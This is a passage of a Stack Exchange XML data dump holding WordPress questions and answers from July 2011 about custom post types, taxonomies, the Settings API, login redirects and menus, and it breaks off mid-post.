  <row Id="24001" PostTypeId="2" ParentId="8903" CreationDate="2011-07-25T15:15:59.433" Score="0" ViewCount="" Body="&lt;p&gt;i know this is old, but i stumbled here via google.  i was looking for something else, but in case anyone needs it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://shibashake.com/wordpress-theme/add-custom-post-type-columns&quot; rel=&quot;nofollow&quot;&gt;http://shibashake.com/wordpress-theme/add-custom-post-type-columns&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is some really great info on how to add custom columns for CPTs.  strange looking website but some totally badass WP info.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and this is one of justin tadlock's tuts.. and it goes a step further to making things sortable.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devpress.com/blog/custom-columns-for-custom-post-types/&quot; rel=&quot;nofollow&quot;&gt;http://devpress.com/blog/custom-columns-for-custom-post-types/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i'm finding that only &lt;em&gt;some&lt;/em&gt; columns are sortable.. i think b/c it is a modified query.  i have yet to figure out how to sort by taxonomy like i'd like.  &lt;/p&gt;&#xA;" OwnerUserId="6477" LastActivityDate="2011-07-25T15:15:59.433" />
  <row Id="24002" PostTypeId="2" ParentId="23997" CreationDate="2011-07-25T15:45:55.347" Score="0" ViewCount="" Body="&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Custom_Fields#Displaying_Custom_Fields&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Custom_Fields#Displaying_Custom_Fields&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Custom_Fields#Advanced_Techniques_for_Custom_Fields&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Custom_Fields#Advanced_Techniques_for_Custom_Fields&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7313" LastActivityDate="2011-07-25T15:45:55.347" />
  <row Id="24003" PostTypeId="1" CreationDate="2011-07-25T13:47:20.233" Score="2" ViewCount="85" Body="&lt;p&gt;I am using a custom login form imported on my theme's home page through jqModal. In that, when i successfully login it redirects to the same page. I want to redirect based on the logged in user role.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will prefer a response with some editing in my functions.php or adding a mini plugin. Because I dont want wordpress original files to be edited for future updating hassles.&lt;/p&gt;&#xA;" OwnerUserId="7338" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-07-26T13:40:37.100" LastActivityDate="2011-07-26T13:40:37.100" Title="wordpress custom login successful redirect hook" Tags="&lt;plugins&gt;&lt;functions&gt;&lt;redirect&gt;&lt;login&gt;&lt;user-roles&gt;" AnswerCount="1" />
  <row Id="24004" PostTypeId="2" ParentId="23996" CreationDate="2011-07-25T15:57:34.030" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/media-library-categories/&quot; rel=&quot;nofollow&quot;&gt;Media Library Categories&lt;/a&gt; looks promising.&lt;/p&gt;&#xA;" OwnerUserId="7313" LastActivityDate="2011-07-25T15:57:34.030" />
  <row Id="24005" PostTypeId="2" ParentId="23971" CreationDate="2011-07-25T16:03:29.720" Score="0" ViewCount="" Body="&lt;p&gt;I am seeing the front end of your site fine, but the admin side /wp-admin is showing a 404 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check &lt;a href=&quot;http://codex.wordpress.org/Changing_The_Site_URL&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Changing_The_Site_URL&lt;/a&gt; and make sure all the settings for the site URL are correct. If that doesn't resolve it, check with &lt;a href=&quot;http://support.hostgator.com/&quot; rel=&quot;nofollow&quot;&gt;HostGator support&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7313" LastActivityDate="2011-07-25T16:03:29.720" />
  <row Id="24006" PostTypeId="2" ParentId="16455" CreationDate="2011-07-25T16:11:11.013" Score="0" ViewCount="" Body="&lt;p&gt;I had this exact problem. It has to do with the wp_footer() command not being in the Single Post template (single.php). Just go to the Appearance option in your Wordpress dashboard, click Editor and select the Single Post template on the right side. Then add &lt;code&gt;&amp;lt;?php wp_footer(); ?&amp;gt;&lt;/code&gt; to the file at the very bottom just before the last line. This worked for me. Hope it works for you.&lt;/p&gt;&#xA;" OwnerUserId="7315" LastActivityDate="2011-07-25T16:11:11.013" />
  <row Id="24007" PostTypeId="2" ParentId="23966" CreationDate="2011-07-25T16:14:08.717" Score="0" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;Create a php template to display a &lt;a href=&quot;http://codex.wordpress.org/Pages#A_Page_of_Posts&quot; rel=&quot;nofollow&quot;&gt;Page of Posts&lt;/a&gt;. See codex.wordpress.org/Template_Hierarchy to ensure that the page you create will use this template.&lt;/li&gt;&#xA;&lt;li&gt;Use the &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/next_post_link&quot; rel=&quot;nofollow&quot;&gt;next_post_link()&lt;/a&gt; function and the related previous_post_link() function to display the links. &lt;/li&gt;&#xA;&lt;li&gt;Create a page in WordPress to act as your front page (doesn't need to have any content in it).&lt;/li&gt;&#xA;&lt;li&gt;In the WP Admin, under &quot;Settings&quot; &gt; &quot;Reading&quot;, set the front page to the page you created in #3.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7313" LastActivityDate="2011-07-25T16:14:08.717" CommentCount="1" />
  <row Id="24008" PostTypeId="2" ParentId="24003" CreationDate="2011-07-25T16:14:21.170" Score="3" ViewCount="" Body="&lt;p&gt;wp_login_form() has the &quot;redirect&quot; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Define it on the basis of user role.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_login_form&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_login_form&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7314" LastActivityDate="2011-07-25T16:14:21.170" CommentCount="4" />
  <row Id="24009" PostTypeId="1" AcceptedAnswerId="24013" CreationDate="2011-07-25T16:16:39.450" Score="1" ViewCount="55" Body="&lt;p&gt;I am in very big need of a user management system just like the one that wordpress uses but without being blog related. I need to be able to manage users and apply certain privileges depending on user level. I tried to take apart the WP engine and take out the users part but I think it's so tied to the whole engine, I wasn't able to... Does anyone know of any scripts that offer the same register, login etc functions? Also, could it be open source? I already bought my first user management system but it sucks really bad... :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance to anyone willing to help me.&lt;br&gt;&#xA;Andy&lt;/p&gt;&#xA;" OwnerUserId="7285" LastActivityDate="2011-07-25T16:49:21.947" Title="User management system similar to wordpress one?" Tags="&lt;php&gt;&lt;users&gt;&lt;mysql&gt;&lt;login&gt;&lt;registration&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="24010" PostTypeId="2" ParentId="23927" CreationDate="2011-07-25T16:23:02.817" Score="0" ViewCount="" Body="&lt;p&gt;Have a look at this plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-fields/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/simple-fields/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7313" LastActivityDate="2011-07-25T16:23:02.817" />
  <row Id="24011" PostTypeId="2" ParentId="23918" CreationDate="2011-07-25T16:25:37.497" Score="0" ViewCount="" Body="&lt;p&gt;Try this plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/user-role-editor/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/user-role-editor/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7313" LastActivityDate="2011-07-25T16:25:37.497" />
  <row Id="24012" PostTypeId="2" ParentId="20722" CreationDate="2011-07-25T16:48:17.187" Score="0" ViewCount="" Body="&lt;p&gt;I've just had to do the same thing as you, here is what I did to get this working:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;'supports' =&amp;gt; array('title', 'editor', 'thumbnail', 'page-attributes')&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Register the post type with supports of page attributes. This adds the menu order meta box to the edit screen. From there you can place the order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then run my custom query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'numberposts' =&amp;gt; -1,&#xA;    'orderby' =&amp;gt; 'menu_order',&#xA;    'order' =&amp;gt; 'ASC',&#xA;    'post_type' =&amp;gt; 'staff'&#xA;);&#xA;$staff = get_posts($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;set &lt;code&gt;orderby&lt;/code&gt; to menu_order and &lt;code&gt;order&lt;/code&gt; to ASC. Remember if you do not set a value in menu order it sets it to 0. So any posts without an order set will appear first.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-07-25T16:48:17.187" CommentCount="1" />
  <row Id="24013" PostTypeId="2" ParentId="24009" CreationDate="2011-07-25T16:49:21.947" Score="1" ViewCount="" Body="&lt;p&gt;you can still use WordPress and disable the front end functionality, or like @OneTrickPony suggested you can try  &lt;a href=&quot;http://backpress.org/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;BackPress&lt;/strong&gt;&lt;/a&gt; which is a PHP library of core functionality for web applications that grew out of WordPress.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-25T16:49:21.947" CommentCount="2" />
  <row Id="24014" PostTypeId="1" AcceptedAnswerId="24018" CreationDate="2011-07-25T17:14:57.020" Score="1" ViewCount="34" Body="&lt;p&gt;I'm trying to add/ update additional values to an option created with the Settings API. I'm trying to do this with my validation callback function, but I'm not getting very far. Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function tccl_settings_option_validate( $input ) {&#xA;    add_option( 'tccl_settings_option', $input );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is causing a pretty big error. How should I be doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to do is use the validation callback to add values to the option array without overwriting it.&lt;/p&gt;&#xA;" OwnerUserId="1341" LastEditorUserId="1341" LastEditorDisplayName="" LastEditDate="2011-07-25T17:29:29.573" LastActivityDate="2011-07-25T18:11:58.737" Title="Using the Settings API, how should I add multiple values to an option?" Tags="&lt;plugin-development&gt;&lt;settings-api&gt;" AnswerCount="3" />
  <row Id="24015" PostTypeId="2" ParentId="24014" CreationDate="2011-07-25T17:21:30.827" Score="0" ViewCount="" Body="&lt;p&gt;you don't have to save the option, that's done for you. your validation function should check input then &lt;code&gt;return&lt;/code&gt; something.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function tccl_settings_option_validate( $input ) {&#xA;    // do some checking/formatting/whatever of $input&#xA;    // and then&#xA;    return $input;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-25T17:21:30.827" CommentCount="1" />
  <row Id="24016" PostTypeId="1" CreationDate="2011-07-25T17:38:37.863" Score="0" ViewCount="20" Body="&lt;p&gt;i'm doing a wordpress based website.&#xA;I have a problem with my comments' pagination.&#xA;Each of the pages is a link. Now, i would expect when i click that link that the page would reopen and show needed comments, instead i am redirected to a page with the same url as the previous page but with &quot;/comment-page-1/#comments&quot; added after.&#xA;This causes my be to be &quot;broken&quot; into two halfs. The main issue here is, i can not scroll to the top of the page... The middle of the page now becomes the top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on how to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your time...&lt;/p&gt;&#xA;" OwnerUserId="6330" LastActivityDate="2011-07-25T17:38:37.863" Title="Remove comment-page / redirect to post page" Tags="&lt;comments&gt;&lt;pagination&gt;" CommentCount="1" />
  <row Id="24017" PostTypeId="2" ParentId="24014" CreationDate="2011-07-25T17:46:47.307" Score="3" ViewCount="" Body="&lt;p&gt;On your tccl_settings_option_validate function you need to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;get an array of all existing options.&lt;/li&gt;&#xA;&lt;li&gt;update only the changed.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;return that array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function tccl_settings_option_validate( $input ) {&#xA;&#xA;//do regular validation stuff&#xA;//...&#xA;//...&#xA;&#xA;//get all options&#xA;$options = get_option(THEMENAME . '_settings');&#xA;//update only the neede options&#xA;foreach ($input as $key =&amp;gt; $value){&#xA;    $options[$key] = $value;&#xA;}&#xA;//return all options&#xA;return $options;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-25T17:46:47.307" />
  <row Id="24018" PostTypeId="2" ParentId="24014" CreationDate="2011-07-25T18:11:58.737" Score="2" ViewCount="" Body="&lt;p&gt;Get the option, modify only the values you need to modify in it, then return the results.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function tccl_settings_option_validate( $input ) {&#xA;    $options = get_option('tccl_settings_option');&#xA;    // modify $options using data from $input as needed&#xA;    return $options;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-25T18:11:58.737" />
  <row Id="24019" PostTypeId="2" ParentId="23980" CreationDate="2011-07-25T18:22:29.093" Score="0" ViewCount="" Body="&lt;p&gt;To inspect what's attached to a current user, you can use my &lt;a href=&quot;https://gist.github.com/1104763&quot; rel=&quot;nofollow&quot;&gt;Current User Deamon Plugin&lt;/a&gt;. &lt;em&gt;(There's also a version at the repo, but that's a little outdated.)&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then read a little into &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities&quot; rel=&quot;nofollow&quot;&gt;Roles &amp;amp; Capabilites&lt;/a&gt; in the Codex to get a feeling for what's happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then use the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_cap&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_cap()&lt;/code&gt;&lt;/a&gt; function to add single capabilites or play with the role objects (use the data, the plugin shows you) to move capabilities between roles). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically it's only &lt;em&gt;a)&lt;/em&gt; retrieving the roles, &lt;em&gt;b)&lt;/em&gt; grabbing the capabilites and &lt;em&gt;c)&lt;/em&gt; add a new role (ex. restricted-admin) object that &lt;em&gt;d)&lt;/em&gt; get's the reduced capabilities.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-07-25T18:22:29.093" />
  <row Id="24020" PostTypeId="1" CreationDate="2011-07-25T18:23:36.083" Score="0" ViewCount="30" Body="&lt;p&gt;I'm resubmitting a question I previously asked, but crystalising it down to its 'simplest' form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a multisite network, how can one get the blog_id for where a post was originally published from?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a simple question that should have a simple answer.  We're trying to determine the post's blog_id from outside its originating blog (i.e. from another network blog or the main parent blog), so need some way of supplying an argument such as post_id.&lt;/p&gt;&#xA;" OwnerUserId="7312" LastActivityDate="2011-08-30T20:37:07.563" Title="How to get a current post's blog id" Tags="&lt;blog-id&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="24021" PostTypeId="2" ParentId="24020" CreationDate="2011-07-25T18:27:21.463" Score="0" ViewCount="" Body="&lt;p&gt;Here's a quick way you could do it, though there are quite likely easier/better ways to do it. This is just what I can think of at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a quick function to functions.php that will store the blog ID in the post meta. Then when you need to check where the post came from, just call get_post_meta() and check the value.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-07-25T18:27:21.463" CommentCount="1" />
  <row Id="24022" PostTypeId="2" ParentId="23848" CreationDate="2011-07-25T18:42:24.107" Score="0" ViewCount="" Body="&lt;p&gt;Never mind. I found a version of Magic Fields that supports custom post types. You can find it here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/attitude/Magic-Fields&quot; rel=&quot;nofollow&quot;&gt;https://github.com/attitude/Magic-Fields&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like it is just a mod on Magic Fields to allow custom post types. And it works good so far&lt;/p&gt;&#xA;" OwnerUserId="7257" LastActivityDate="2011-07-25T18:42:24.107" />
  <row Id="24023" PostTypeId="1" CreationDate="2011-07-25T18:59:27.543" Score="0" ViewCount="100" Body="&lt;p&gt;I want to display posts from categories of my custom taxonomy but realy don't know how to achieve this. I am using isotope filtering which works as expected with default post categories. I can click on a particular category and it shows all posts related to that category but it doesn't work with my custom taxonomy. I can see all sub-taxonomies (thanks to Rajeev Vyas) but when I am clicking on one of them - no posts are displayed. Can you please tell me what I am doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code from my functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'portfolio_register');&#xA;function portfolio_register() {&#xA;     $labels = array(&#xA;        'name' =&amp;gt; _x('My Portfolio', 'post type general name'),&#xA;        'singular_name' =&amp;gt; _x('Portfolio Item', 'post type singular name'),&#xA;        'add_new' =&amp;gt; _x('Add New', 'portfolio item'),&#xA;        'add_new_item' =&amp;gt; __('Add New Portfolio Item'),&#xA;        'edit_item' =&amp;gt; __('Edit Portfolio Item'),&#xA;        'new_item' =&amp;gt; __('New Portfolio Item'),&#xA;        'view_item' =&amp;gt; __('View Portfolio Item'),&#xA;        'search_items' =&amp;gt; __('Search Portfolio'),&#xA;        'not_found' =&amp;gt;  __('Nothing found'),&#xA;        'not_found_in_trash' =&amp;gt; __('Nothing found in Trash'),&#xA;        'parent_item_colon' =&amp;gt; ''&#xA;    );&#xA;    $args = array(&#xA;        'labels' =&amp;gt; $labels,&#xA;        'public' =&amp;gt; true,&#xA;        'publicly_queryable' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; true,&#xA;        'menu_icon' =&amp;gt; get_stylesheet_directory_uri() . '/images/portfolio-icon.png',&#xA;        'rewrite' =&amp;gt; true,&#xA;        'capability_type' =&amp;gt; 'post',&#xA;        'hierarchical' =&amp;gt; false,&#xA;        'menu_position' =&amp;gt; null,&#xA;        'supports' =&amp;gt; array('title','editor','author','thumbnail','comments')&#xA;      ); &#xA;    register_post_type( 'portfolio' , $args );&#xA;    flush_rewrite_rules();&#xA;}&#xA;// Custom taxonomy for Portfolio Categories (Galleries)&#xA;register_taxonomy('galleries', array('portfolio'), array('hierarchical' =&amp;gt; true, 'label' =&amp;gt; 'Galleries', 'singular_label' =&amp;gt; 'Gallery', 'rewrite' =&amp;gt; true, 'public' =&amp;gt; true ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;And this code is from my loop.php which is my custom post type template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php /* Display filter options if homepage  */ ?&amp;gt;&#xA;&amp;lt;?php if(is_home()) { ?&amp;gt;&#xA;&amp;lt;div id=&quot;filtering-nav&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;#&quot; class=&quot;filter-btn&quot;&amp;gt;&amp;lt;span&amp;gt;Filter&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#all&quot; class=&quot;all&quot;&amp;gt;All&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;?php&#xA;            $args=array( 'orderby' =&amp;gt; 'name', 'taxonomy'=&amp;gt;'galleries' );&#xA;            $categories=get_categories($args);&#xA;            foreach($categories as $category) {  ?&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&amp;lt;?php echo $category-&amp;gt;category_nicename; ?&amp;gt;&quot; class=&quot;&amp;lt;?php echo $category-&amp;gt;category_nicename; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $category-&amp;gt;name; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;?php } ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&#xA;&amp;lt;?php /* If this is the homepage, display all posts on one page  */ &#xA;if(is_home() &amp;amp;&amp;amp; get_option('show_all') &amp;amp;&amp;amp; !is_search()) { query_posts('post_type=portfolio', 'posts_per_page=-1'); } ?&amp;gt;&#xA;&#xA;&amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;Hope that my english doesn't hurt your eyes....&lt;/p&gt;&#xA;" OwnerUserId="7272" LastEditorUserId="7272" LastEditorDisplayName="" LastEditDate="2011-07-25T19:05:14.607" LastActivityDate="2011-08-25T07:34:31.037" Title="Categories of custom taxonomy don't show any posts" Tags="&lt;custom-post-types&gt;&lt;categories&gt;&lt;custom-taxonomy&gt;&lt;taxonomy&gt;&lt;filters&gt;" AnswerCount="1" />
  <row Id="24024" PostTypeId="1" CreationDate="2011-07-25T19:05:23.510" Score="1" ViewCount="22" Body="&lt;p&gt;I've managed to create Admin-style table on one of my plugin pages which displays values from an option created with the Settings API. What I can't figure out is how to add some deletion functionality to the table/ form. I'd like to use the same sort of controls as the posts table, but deletion of values is the most important thing. Here is what I have so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function tccl_menu_page_domains() {&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;&amp;lt;?php screen_icon( 'themes' ); ?&amp;gt;&#xA;&amp;lt;h2&amp;gt;Domains&amp;lt;/h2&amp;gt;&#xA;&amp;lt;form action=&quot;options.php&quot; method=&quot;post&quot;&amp;gt;&#xA;&amp;lt;?php settings_fields( 'tccl_settings_domains' ); ?&amp;gt;&#xA;&amp;lt;?php do_settings_sections( 'tccl_settings_domains' ); ?&amp;gt;&#xA;&amp;lt;input name=&quot;Add&quot; type=&quot;submit&quot; value=&quot;Add Domains&quot; class=&quot;button-primary&quot; /&amp;gt;&#xA;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;table class=&quot;widefat&quot;&amp;gt;&#xA;&amp;lt;thead&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;th&amp;gt;&amp;lt;input type=&quot;checkbox&quot;&amp;gt;&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;Domain Name&amp;lt;/th&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;&amp;lt;/thead&amp;gt;&#xA;&amp;lt;tfoot&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;th&amp;gt;&amp;lt;input type=&quot;checkbox&quot;&amp;gt;&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;Domain Name&amp;lt;/th&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;&amp;lt;/tfoot&amp;gt;&#xA;&amp;lt;tbody&amp;gt;&#xA;    &amp;lt;?php&#xA;        $tccl_domains = get_option( 'tccl_settings_domains' );&#xA;        foreach ( $tccl_domains as &amp;amp;$value ) {&#xA;            echo '&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input class=&quot;large-text&quot; type=&quot;checkbox&quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;'.$value['text_area'].'&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;';&#xA;        }&#xA;    ?&amp;gt;&#xA;&amp;lt;/tbody&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;&amp;lt;input name=&quot;Delete&quot; type=&quot;delete&quot; value=&quot;Delete Domains&quot; class=&quot;button-secondary&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;}              &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1341" LastEditorUserId="1341" LastEditorDisplayName="" LastEditDate="2011-07-25T20:47:19.710" LastActivityDate="2011-07-25T20:47:19.710" Title="How do I add delete functionality to my plugin display table?" Tags="&lt;plugin-development&gt;&lt;php&gt;&lt;admin-menu&gt;&lt;array&gt;&lt;settings-api&gt;" />
  <row Id="24025" PostTypeId="2" ParentId="22014" CreationDate="2011-07-25T19:06:50.897" Score="0" ViewCount="" Body="&lt;p&gt;I had the same problem here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to activate the Twenty Eleven theme e reactivate your actual theme. It works for me.&lt;/p&gt;&#xA;" OwnerUserId="7317" LastActivityDate="2011-07-25T19:06:50.897" />
  <row Id="24026" PostTypeId="2" ParentId="24023" CreationDate="2011-07-25T19:09:04.083" Score="0" ViewCount="" Body="&lt;p&gt;you will need to modify the query on taxonomy term pages to get your post type&lt;/p&gt;&#xA;&#xA;&lt;p&gt;try: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('pre_get_posts', 'filter_custom_taxonomy_posts');&#xA;function filter_custom_taxonomy_posts($query) {&#xA;    if (is_tax('Your_Taxonomy_Name')) {&#xA;        $query-&amp;gt;set('post_type', 'portfolio');&#xA;        $query-&amp;gt;set('posts_per_page', -1);&#xA;    }&#xA;  return $query;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-25T19:09:04.083" CommentCount="1" />
  <row Id="24027" PostTypeId="1" CreationDate="2011-07-25T19:14:29.793" Score="0" ViewCount="34" Body="&lt;p&gt;This function adds a home link into my nav menu, but it is added to 3 other menus I am using as well. I don't quite understand where to add code to only diosplay in my primarty nav.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;function my_page_menu_args( $args ) {&#xA;    $args['show_home'] = true;&#xA;    return $args;&#xA;}&#xA;add_filter( 'wp_page_menu_args', 'my_page_menu_args' );&lt;/p&gt;&#xA;" OwnerUserId="7318" LastActivityDate="2011-07-25T19:14:29.793" Title="Show Home Link In wp_nav_menu but only on primary menu" Tags="&lt;navigation-bar&gt;" CommentCount="1" />
  <row Id="24028" PostTypeId="1" AcceptedAnswerId="24031" CreationDate="2011-07-25T19:35:31.950" Score="0" ViewCount="26" Body="&lt;p&gt;Is there a way to update Wordpress without the use of FTP, but with SFTP (which uses SSH)? I've only got my server set up for SSH access (and therefore SCP/SFTP).&lt;/p&gt;&#xA;" OwnerUserId="3522" LastActivityDate="2011-07-25T20:32:14.210" Title="Update Wordpress with SFTP instead of FTPS" Tags="&lt;upgrade&gt;&lt;updates&gt;" AnswerCount="1" />
  <row Id="24029" PostTypeId="1" AcceptedAnswerId="24058" CreationDate="2011-07-25T19:40:26.733" Score="0" ViewCount="42" Body="&lt;p&gt;I used &lt;a href=&quot;http://wordpress.stackexchange.com/questions/21022/mixing-custom-post-type-and-taxonomy-rewrite-structures&quot;&gt;Mixing custom post type and taxonomy rewrite structures?&lt;/a&gt; and &lt;a href=&quot;http://wordpress.org/support/topic/set-category-to-a-custom-post-type-automatically?replies=10&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/set-category-to-a-custom-post-type-automatically?replies=10&lt;/a&gt; to create my custom post type. But I am getting some headers already sent errors on my site. Specifically when I go to save a page or try to log in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody check the code to make sure it is correct. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// PROJECTS&#xA;add_action('init', 'create_work_projects');&#xA;function create_work_projects() {&#xA;&#xA;    register_taxonomy( 'project_category', array(), array(&#xA;        'hierarchical' =&amp;gt; true,&#xA;        'labels' =&amp;gt; array(&#xA;            'name' =&amp;gt; 'Categories',&#xA;            'singular_name' =&amp;gt; 'Category'&#xA;        ),&#xA;        'show_ui' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'work' )&#xA;    ));&#xA;&#xA;    register_post_type( 'projects', array(&#xA;        'labels' =&amp;gt; array(&#xA;            'name' =&amp;gt; 'Projects',&#xA;            'singular_name' =&amp;gt; 'Project'&#xA;        ),&#xA;        'supports' =&amp;gt; array('title', 'editor', 'thumbnail'),&#xA;        'public' =&amp;gt; true,&#xA;        'hierarchical' =&amp;gt; false,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'show_in_menu' =&amp;gt; true,&#xA;        'capability_type' =&amp;gt; 'post',&#xA;        'rewrite' =&amp;gt; array(&#xA;            'slug' =&amp;gt; 'work/%project_category%',&#xA;            //'slug' =&amp;gt; 'work',&#xA;            'with_front' =&amp;gt; false&#xA;        ),&#xA;        'query_var' =&amp;gt; true,&#xA;        'has_archive' =&amp;gt; 'work',&#xA;        'taxonomies' =&amp;gt; array( 